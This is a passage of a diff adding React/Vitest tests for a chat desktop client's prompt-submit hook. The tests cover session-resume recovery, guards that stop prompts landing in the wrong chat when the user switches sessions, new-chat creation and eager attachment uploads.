+        createBackendSessionForSend={createBackendSessionForSend}
+        getRoutedStoredSessionId={() => STORED_SESSION_ID}
+        getRuntimeIdForStoredSession={() => boundRuntimeId}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        resumeStoredSession={resumeStoredSession}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={STORED_SESSION_ID}
+      />
+    )
+
+    expect(await handle!.submitText('do not fork me')).toBe(false)
+    expect(busyRef.current).toBe(false)
+    expect($messages.get()).toEqual([])
+    expect(resumeStoredSession).toHaveBeenCalledWith(STORED_SESSION_ID)
+    expect(createBackendSessionForSend).not.toHaveBeenCalled()
+    expect(requestGateway).not.toHaveBeenCalledWith('prompt.submit', expect.anything(), expect.anything())
+
+    // Prove the failed attempt released the per-session submit lock. The next
+    // send can recover and submit instead of being silently rejected forever.
+    recoverySucceeds = true
+    expect(await handle!.submitText('retry after recovery')).toBe(true)
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      { session_id: RECOVERED_SESSION_ID, text: 'retry after recovery' },
+      1_800_000
+    )
+  })
+
+  it('still creates a new session for a genuine new-chat draft (no stored session selected)', async () => {
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: null }
+
+    // Mirror the real createBackendSessionForSend: a successful create
+    // re-homes the active runtime ref to the session it minted BEFORE
+    // returning. An inert stub here is what let the new-chat drift-abort
+    // regression ship green.
+    const createBackendSessionForSend = vi.fn(async () => {
+      activeSessionIdRef.current = RUNTIME_SESSION_ID
+
+      return RUNTIME_SESSION_ID
+    })
+
+    const calls: string[] = []
+
+    const requestGateway = vi.fn(async (method: string) => {
+      calls.push(method)
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        createBackendSessionForSend={createBackendSessionForSend}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={null}
+      />
+    )
+
+    const ok = await handle!.submitText('first message of a new chat')
+
+    expect(ok).toBe(true)
+    expect(createBackendSessionForSend).toHaveBeenCalledTimes(1)
+    expect(calls).not.toContain('session.resume')
+  })
+})
+
+describe('usePromptActions submit session-context isolation (#54527)', () => {
+  const STORED_SESSION_A = 'stored-project-a'
+  const STORED_SESSION_B = 'stored-project-b'
+  const RUNTIME_SESSION_B = 'rt-session-b-wrong'
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+    setSessions(() => [])
+  })
+
+  it('aborts submit when the user switches sessions during session.resume (no misroute)', async () => {
+    // Exact #54527 failure: user submits in Session A while its runtime binding
+    // is gone; before resume returns they switch to Session B. Without a pinned
+    // context the resumed runtime id belongs to B and A's text lands in the
+    // wrong chat — permanently lost from A.
+    let releaseResume: () => void = () => {}
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: STORED_SESSION_A }
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: null }
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'session.resume') {
+        await new Promise<void>(resolve => {
+          releaseResume = resolve
+        })
+
+        // Simulate the user switching to Session B while resume is in flight.
+        selectedStoredSessionIdRef.current = STORED_SESSION_B
+        activeSessionIdRef.current = RUNTIME_SESSION_B
+
+        return { session_id: RUNTIME_SESSION_B } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={STORED_SESSION_A}
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    const submitting = handle!.submitText('carefully composed prompt for project A')
+    await waitFor(() => expect(calls.some(c => c.method === 'session.resume')).toBe(true))
+    releaseResume()
+
+    expect(await submitting).toBe(false)
+    expect(calls.some(c => c.method === 'prompt.submit')).toBe(false)
+    expect(calls.find(c => c.method === 'session.resume')?.params).toEqual({
+      session_id: STORED_SESSION_A,
+      source: 'desktop',
+      omit_messages: true
+    })
+  })
+
+  it('does not false-positive-abort when the session has rotated via compression (lineage root vs tip)', async () => {
+    // The composer keys drafts/attachments on the DURABLE lineage root
+    // (resolveComposerSessionKey / sessionPinId — survives auto-compression
+    // tip rotation), but selectedStoredSessionIdRef tracks the CURRENT TIP.
+    // For any session that has compressed at least once, root !== tip — if
+    // composerScope is compared against the raw tip, every legitimate submit
+    // into that session would look like drift.
+    const ROOT_ID = 'stored-root-original'
+    const TIP_ID = 'stored-tip-after-compression'
+
+    setSessions(() => [sessionInfo({ id: TIP_ID, _lineage_root_id: ROOT_ID })])
+
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={TIP_ID}
+      />
+    )
+
+    // The composer's scope is the lineage root (what resolveComposerSessionKey
+    // actually returns for this session) — a legitimate, non-drifted submit.
+    const ok = await handle!.submitText('message into the rotated session', { composerScope: ROOT_ID })
+
+    expect(ok).toBe(true)
+    expect(calls.some(c => c.method === 'prompt.submit')).toBe(true)
+  })
+
+  it('aborts submit when the composer scope disagrees with the resolved target (#59305)', async () => {
+    // The composer (ChatBar) and the session-side refs live in separate React
+    // subtrees; each can be internally consistent yet still disagree with each
+    // other at the instant of send if the two updated on different commits.
+    // composerScope carries the composer's own snapshot of "what session was
+    // loaded" into submit.ts, which must refuse to send when it disagrees with
+    // the session the submit is actually about to target.
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={STORED_SESSION_A}
+      />
+    )
+
+    const ok = await handle!.submitText('typed while B was on screen', { composerScope: STORED_SESSION_B })
+
+    expect(ok).toBe(false)
+    expect(calls.some(c => c.method === 'prompt.submit')).toBe(false)
+  })
+
+  it('submits normally when the composer scope agrees with the resolved target', async () => {
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={STORED_SESSION_A}
+      />
+    )
+
+    const ok = await handle!.submitText('typed while A was on screen', { composerScope: STORED_SESSION_A })
+
+    expect(ok).toBe(true)
+    expect(calls.some(c => c.method === 'prompt.submit')).toBe(true)
+  })
+
+  it('aborts recovery submit when the user switches sessions during timeout resume', async () => {
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    let submitAttempts = 0
+
+    let releaseResume: () => void = () => {}
+
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: STORED_SESSION_A }
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'prompt.submit') {
+        submitAttempts += 1
+
+        if (submitAttempts === 1) {
+          throw new Error('request timed out: prompt.submit')
+        }
+      }
+
+      if (method === 'session.resume') {
+        await new Promise<void>(resolve => {
+          releaseResume = resolve
+        })
+        selectedStoredSessionIdRef.current = STORED_SESSION_B
+
+        return { session_id: RUNTIME_SESSION_B } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={STORED_SESSION_A}
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    const submitting = handle!.submitText('message that must not land in session B')
+    await waitFor(() => expect(calls.some(c => c.method === 'session.resume')).toBe(true))
+    releaseResume()
+
+    expect(await submitting).toBe(false)
+    expect(submitAttempts).toBe(1)
+    expect(calls.filter(c => c.method === 'prompt.submit')).toHaveLength(1)
+    expect(calls.find(c => c.method === 'session.resume')?.params).toMatchObject({
+      session_id: STORED_SESSION_A
+    })
+  })
+
+  it('submits the first prompt of a new chat — the create pipeline re-homing selection/route is not user drift', async () => {
+    // Regression for the #54527 guard breaking every NEW chat: on a fresh draft
+    // (no stored session, no runtime session) createBackendSessionForSend
+    // legitimately sets selectedStoredSessionIdRef + navigates to the new
+    // session's route. Comparing against the pre-create (null) baseline made
+    // the guard read that self-inflicted move as a user switch and abort, so
+    // prompt.submit never fired: the message vanished, no DB row was ever
+    // persisted, and the desktop stranded on a route whose REST reads 404
+    // ("Session not found").
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: null }
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: null }
+    let routeToken = '/'
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      return {} as never
+    })
+
+    // Mirror the real createBackendSessionForSend: on success it re-homes the
+    // refs AND the route to the session it just created.
+    const createBackendSessionForSend = vi.fn(async () => {
+      activeSessionIdRef.current = 'rt-new-chat'
+      selectedStoredSessionIdRef.current = 'stored-new-chat'
+      routeToken = '/stored-new-chat'
+
+      return 'rt-new-chat'
+    })
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        createBackendSessionForSend={createBackendSessionForSend}
+        getRouteToken={() => routeToken}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={null}
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    expect(await handle!.submitText('first message of a brand-new chat')).toBe(true)
+    expect(createBackendSessionForSend).toHaveBeenCalledTimes(1)
+    expect(calls.find(c => c.method === 'prompt.submit')?.params).toMatchObject({
+      session_id: 'rt-new-chat'
+    })
+  })
+
+  it('aborts when the user switches sessions during the tail of a successful create', async () => {
+    // createBackendSessionForSend awaits once more (armed-YOLO apply) AFTER
+    // committing the refs and returning a real id, so a switch in that window
+    // escapes its internal null-return drift check. The active ref is the
+    // tell: every switch path retargets it synchronously, so it no longer
+    // equals the id create returned. The submit must abort, not adopt the
+    // switched-to context as its re-pinned baseline.
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: null }
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: null }
+    let routeToken = '/'
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      return {} as never
+    })
+
+    const createBackendSessionForSend = vi.fn(async () => {
+      // The user switched to Session B during the post-commit await: the
+      // switch path re-homed all three context markers before create returned.
+      activeSessionIdRef.current = RUNTIME_SESSION_B
+      selectedStoredSessionIdRef.current = STORED_SESSION_B
+      routeToken = `/${STORED_SESSION_B}`
+
+      return 'rt-new-chat'
+    })
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        createBackendSessionForSend={createBackendSessionForSend}
+        getRouteToken={() => routeToken}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={null}
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    expect(await handle!.submitText('message that must not land in session B')).toBe(false)
+    expect(calls.some(c => c.method === 'prompt.submit')).toBe(false)
+  })
+})
+
+describe('usePromptActions new-chat first-send delivery (#63078)', () => {
+  const NEW_RUNTIME_ID = 'rt-first-send'
+  const NEW_STORED_ID = 'stored-first-send'
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+    $connection.set(null)
+    $composerAttachments.set([])
+  })
+
+  it('delivers the first message of a new chat through the intentional route transition (#62562)', async () => {
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: null }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: null }
+    let routeToken = '/::'
+
+    // Mirror the real session creator: session.create selects the persisted
+    // row and replaces the new-chat route with the created session's URL
+    // BEFORE returning. The submit pipeline must adopt that intentional
+    // transition as its new pinned target — not mistake it for the user
+    // switching conversations and stop before prompt.submit.
+    const createBackendSessionForSend = vi.fn(async (preview?: null | string) => {
+      expect(preview).toBe('first message of a new chat')
+      activeSessionIdRef.current = NEW_RUNTIME_ID
+      selectedStoredSessionIdRef.current = NEW_STORED_ID
+      routeToken = `/${NEW_STORED_ID}::`
+
+      return NEW_RUNTIME_ID
+    })
+
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        createBackendSessionForSend={createBackendSessionForSend}
+        getRouteToken={() => routeToken}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={null}
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    expect(await handle!.submitText('first message of a new chat')).toBe(true)
+    expect(createBackendSessionForSend).toHaveBeenCalledTimes(1)
+    // The FULL RPC transcript: exactly one prompt.submit, addressed to the
+    // created runtime session, carrying the user's text — no session.resume
+    // detour and, critically, no silent drop before the submit.
+    expect(calls).toEqual([
+      {
+        method: 'prompt.submit',
+        params: { session_id: NEW_RUNTIME_ID, text: 'first message of a new chat' }
+      }
+    ])
+  })
+
+  it('delivers the first prompt when React Router commits the created-session route late (#62990)', async () => {
+    // The creator requests the navigation, but React Router can still expose
+    // the OLD new-chat route to the submit continuation for a beat, committing
+    // the created session's URL only before the next await settles. Neither
+    // route snapshot (stale '/', then the late-committed session route) is a
+    // user switch — both are the pipeline's own transition and the first
+    // prompt must still reach the gateway.
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: null }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: null }
+    let sessionCreated = false
+    let routeReadsAfterCreate = 0
+
+    const createBackendSessionForSend = vi.fn(async () => {
+      activeSessionIdRef.current = NEW_RUNTIME_ID
+      selectedStoredSessionIdRef.current = NEW_STORED_ID
+      sessionCreated = true
+
+      return NEW_RUNTIME_ID
+    })
+
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        createBackendSessionForSend={createBackendSessionForSend}
+        getRouteToken={() => {
+          if (!sessionCreated) {
+            return '/::'
+          }
+
+          routeReadsAfterCreate += 1
+
+          // React Router can still expose / to the outer submit continuation,
+          // then commit the created-session route before the next await settles.
+          return routeReadsAfterCreate === 1 ? '/::' : `/${NEW_STORED_ID}::`
+        }}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={null}
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    expect(await handle!.submitText('hello')).toBe(true)
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      {
+        session_id: NEW_RUNTIME_ID,
+        text: 'hello'
+      },
+      1_800_000
+    )
+  })
+
+  it('aborts a new-session submit when sidebar navigation changes the route before its selected ref (#62562)', async () => {
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: null }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: null }
+    let routeToken = '/::'
+
+    let releaseAttach: () => void = () => {}
+
+    $connection.set({ mode: 'remote' } as never)
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { readFileDataUrl: vi.fn(async () => 'data:text/plain;base64,aGVsbG8=') }
+    })
+
+    const createBackendSessionForSend = vi.fn(async () => {
+      activeSessionIdRef.current = NEW_RUNTIME_ID
+      selectedStoredSessionIdRef.current = NEW_STORED_ID
+      routeToken = `/${NEW_STORED_ID}::`
+
+      return NEW_RUNTIME_ID
+    })
+
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'file.attach') {
+        await new Promise<void>(resolve => {
+          releaseAttach = resolve
+        })
+
+        return {
+          attached: true,
+          path: '/remote/work/report.txt',
+          ref_text: '@file:report.txt',
+          uploaded: true
+        } as never
+      }
+
+      return {} as never
+    })
+
+    const attachment: ComposerAttachment = {
+      id: 'file:report.txt',
+      kind: 'file',
+      label: 'report.txt',
+      path: '/Users/alice/report.txt',
+      refText: '@file:`/Users/alice/report.txt`'
+    }
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        createBackendSessionForSend={createBackendSessionForSend}
+        getRouteToken={() => routeToken}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={null}
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    const submitting = handle!.submitText('first message', { attachments: [attachment] })
+    await waitFor(() => expect(calls.some(call => call.method === 'file.attach')).toBe(true))
+
+    // selectSidebarItem calls navigate() first. The routed effect has not yet
+    // entered resumeSession(), so the selected-session ref still points at the
+    // just-created session when attachment sync settles — the route move to a
+    // DIFFERENT chat must abort on its own.
+    routeToken = '/sidebar-target::'
+    releaseAttach()
+
+    expect(await submitting).toBe(false)
+    expect(selectedStoredSessionIdRef.current).toBe(NEW_STORED_ID)
+    expect(calls.some(call => call.method === 'prompt.submit')).toBe(false)
+  })
+
+  it('still aborts when the user genuinely switches chats after create, during attachment sync (#62805)', async () => {
+    // The post-create re-baseline (adopting the created chat as the pinned
+    // target) must not mask a REAL switch later in the pipeline: the user
+    // clicks a different session after createBackendSessionForSend lands but
+    // before attachment sync settles — selection AND route both move to the
+    // other chat, and the drift check at the post-attachments boundary must
+    // abort rather than deliver the text into whichever chat won the race.
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: null }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: null }
+    let routeToken = '/::'
+
+    let releaseFileAttach: () => void = () => {}
+
+    $connection.set({ mode: 'remote' } as never)
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { readFileDataUrl: vi.fn(async () => 'data:application/pdf;base64,JVBERi0=') }
+    })
+
+    const createBackendSessionForSend = vi.fn(async () => {
+      activeSessionIdRef.current = NEW_RUNTIME_ID
+      selectedStoredSessionIdRef.current = NEW_STORED_ID
+      routeToken = `/${NEW_STORED_ID}::`
+
+      return NEW_RUNTIME_ID
+    })
+
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'file.attach') {
+        // Block here so the user can switch sessions mid-sync.
+        await new Promise<void>(resolve => {
+          releaseFileAttach = resolve
+        })
+
+        return {
+          attached: true,
+          ref_text: '@file:.clawcodex/desktop-attachments/test.pdf',
+          uploaded: true
+        } as never
+      }
+
+      return {} as never
+    })
+
+    const attachment: ComposerAttachment = {
+      id: 'file:test',
+      kind: 'file',
+      label: 'test.pdf',
+      path: '/abs/test.pdf',
+      refText: '@file:`/abs/test.pdf`'
+    }
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        createBackendSessionForSend={createBackendSessionForSend}
+        getRouteToken={() => routeToken}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={null}
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    const submitting = handle!.submitText('message before the switch', { attachments: [attachment] })
+    await waitFor(() => expect(calls.some(c => c.method === 'file.attach')).toBe(true))
+
+    // Simulate a user switching to a different session after the new session
+    // was created and the sync phase started.
+    selectedStoredSessionIdRef.current = 'stored-other-session'
+    routeToken = '/stored-other-session::'
+    releaseFileAttach()
+
+    expect(await submitting).toBe(false)
+    expect(calls.some(c => c.method === 'prompt.submit')).toBe(false)
+  })
+})
+
+describe('usePromptActions busy-gateway churn tolerance (#64327)', () => {
+  const STORED_ID = 'stored-busy-gw'
+  const RESUMED_RUNTIME_ID = 'rt-busy-gw'
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('does not abort a send when programmatic gateway churn fires mid-submit (selection null-reset + search/hash route churn)', async () => {
+    // The busy-gateway superset of #63078: with background streaming sessions,
+    // per-minute cron sessions, or a messaging surface active, the selected
+    // stored id gets null-reset by gateway/profile reconnects and overlays
+    // park state in location.search/hash. None of that is the user changing
+    // chats — a send from a second chat must ride through it and reach
+    // prompt.submit instead of silently aborting.
+    let releaseResume: () => void = () => {}
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: STORED_ID }
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: null }
+    let routeToken = `/${STORED_ID}::`
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'session.resume') {
+        await new Promise<void>(resolve => {
+          releaseResume = resolve
+        })
+
+        return { session_id: RESUMED_RUNTIME_ID } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        getRouteToken={() => routeToken}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={STORED_ID}
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    const submitting = handle!.submitText('send from a second chat on a busy gateway')
+    await waitFor(() => expect(calls.some(c => c.method === 'session.resume')).toBe(true))
+
+    // Programmatic churn while resume is in flight — NOT user switches:
+    // a gateway/profile reconnect null-resets the selection...
+    selectedStoredSessionIdRef.current = null
+    // ...a background event retargets the active runtime ref (#47709 class)...
+    activeSessionIdRef.current = 'rt-some-background-session'
+    // ...and an overlay parks state in search/hash (pathname unchanged).
+    routeToken = `/${STORED_ID}:?panel=preview:#reply`
+    releaseResume()
+
+    expect(await submitting).toBe(true)
+    expect(calls.find(c => c.method === 'prompt.submit')?.params).toMatchObject({
+      session_id: RESUMED_RUNTIME_ID,
+      text: 'send from a second chat on a busy gateway'
+    })
+  })
+
+  it('still aborts when the user genuinely moves to a different chat mid-submit', async () => {
+    // The churn tolerance must not weaken the real guard: selection AND route
+    // moving to another actual chat is a user switch and must abort.
+    let releaseResume: () => void = () => {}
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: STORED_ID }
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: null }
+    let routeToken = `/${STORED_ID}::`
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'session.resume') {
+        await new Promise<void>(resolve => {
+          releaseResume = resolve
+        })
+
+        return { session_id: RESUMED_RUNTIME_ID } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        getRouteToken={() => routeToken}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        storedSessionId={STORED_ID}
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    const submitting = handle!.submitText('must not land in the other chat')
+    await waitFor(() => expect(calls.some(c => c.method === 'session.resume')).toBe(true))
+
+    // A genuine switch: the user clicks another chat, which retargets
+    // selection and route synchronously.
+    selectedStoredSessionIdRef.current = 'stored-other-chat'
+    routeToken = '/stored-other-chat::'
+    releaseResume()
+
+    expect(await submitting).toBe(false)
+    expect(calls.some(c => c.method === 'prompt.submit')).toBe(false)
+  })
+})
+
+describe('usePromptActions eager attachment upload (drop-time)', () => {
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+    $connection.set(null)
+    $composerAttachments.set([])
+  })
+
+  it('uploads a dropped file the moment it lands (active session) and rewrites the chip with the gateway ref', async () => {
+    // A Finder drop adds a chip with a local path but no attachedSessionId. With
+    // a session already open, the hook should stage it right away — so the send
+    // is instant and the card can show a spinner while bytes upload — instead of
+    // waiting for submit.
+    $connection.set({ mode: 'remote' } as never)
+    const readFileDataUrl = vi.fn(async () => 'data:application/pdf;base64,JVBERi0=')
+    Object.defineProperty(window, 'clawcodexDesktop', { configurable: true, value: { readFileDataUrl } })
+
+    const calls: string[] = []
+
+    const requestGateway = vi.fn(async (method: string) => {
+      calls.push(method)
+
+      if (method === 'file.attach') {
+        return {
+          attached: true,
+          ref_text: '@file:.clawcodex/desktop-attachments/DEVIS_signed.pdf',
+          uploaded: true
+        } as never
+      }
+
+      return {} as never
+    })
+
+    $composerAttachments.set([
+      { id: 'file:devis', kind: 'file', label: 'DEVIS_signed.pdf', path: '/Users/mahmoud/Downloads/DEVIS_signed.pdf' }
+    ])
+
+    await actRender(
+      <Harness onReady={() => undefined} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    await waitFor(() => expect(calls).toContain('file.attach'))
+    await waitFor(() => expect($composerAttachments.get()[0]?.attachedSessionId).toBe(RUNTIME_SESSION_ID))
+
+    const chip = $composerAttachments.get()[0]!
+    expect(chip.refText).toBe('@file:.clawcodex/desktop-attachments/DEVIS_signed.pdf')
+    expect(chip.uploadState).toBeUndefined()
+    expect(readFileDataUrl).toHaveBeenCalledWith('/Users/mahmoud/Downloads/DEVIS_signed.pdf')
+  })
+
+  it('flags the chip uploadState=error when the eager upload fails, keeping the path so submit can retry', async () => {
+    $connection.set({ mode: 'remote' } as never)
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { readFileDataUrl: vi.fn(async () => 'data:application/pdf;base64,JVBERi0=') }
+    })
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'file.attach') {
+        throw new Error('[Errno 13] Permission denied')
+      }
+
+      return {} as never
+    })
+
+    $composerAttachments.set([{ id: 'file:x', kind: 'file', label: 'x.pdf', path: '/abs/x.pdf' }])
+
+    await actRender(
+      <Harness onReady={() => undefined} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    await waitFor(() => expect($composerAttachments.get()[0]?.uploadState).toBe('error'))
+    expect($composerAttachments.get()[0]?.attachedSessionId).toBeUndefined()
+    expect($composerAttachments.get()[0]?.path).toBe('/abs/x.pdf')
+  })
+
+  it('does not eagerly re-upload a chip already attached to this session', async () => {
+    $connection.set({ mode: 'remote' } as never)
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    $composerAttachments.set([
+      {
+        id: 'file:done',
+        kind: 'file',
+        label: 'done.pdf',
+        path: '/abs/done.pdf',
+        refText: '@file:data/done.pdf',
+        attachedSessionId: RUNTIME_SESSION_ID
+      }
+    ])
+
+    await actRender(
+      <Harness onReady={() => undefined} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    await Promise.resolve()
+    expect(requestGateway).not.toHaveBeenCalledWith('file.attach', expect.anything())
+  })
+})
+
+describe('uploadComposerAttachment remote read failures', () => {
+  afterEach(() => {
+    vi.restoreAllMocks()
+  })
+
+  it('turns the raw 16MB IPC cap error into a friendly remote-gateway message', async () => {
+    // electron/hardening.ts rejects the readFileDataUrl IPC with this exact
+    // shape when a file exceeds the configured data-URL read cap.
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: {
+        readFileDataUrl: vi.fn(async () => {
+          throw new Error('File preview failed: file is too large (20971520 bytes; limit 16777216 bytes).')
+        })
+      }
+    })
+
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    await expect(
+      uploadComposerAttachment(
+        { id: 'file:big', kind: 'file', label: 'huge.csv', path: '/abs/huge.csv' },
+        { remote: true, requestGateway, sessionId: RUNTIME_SESSION_ID }
+      )
+    ).rejects.toThrow('huge.csv is too large to upload to the remote gateway (max 16 MB).')
+
+    // The cap is hit before any gateway round-trip.
+    expect(requestGateway).not.toHaveBeenCalled()
+  })
+
+  it('passes non-cap read errors through unchanged', async () => {
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: {
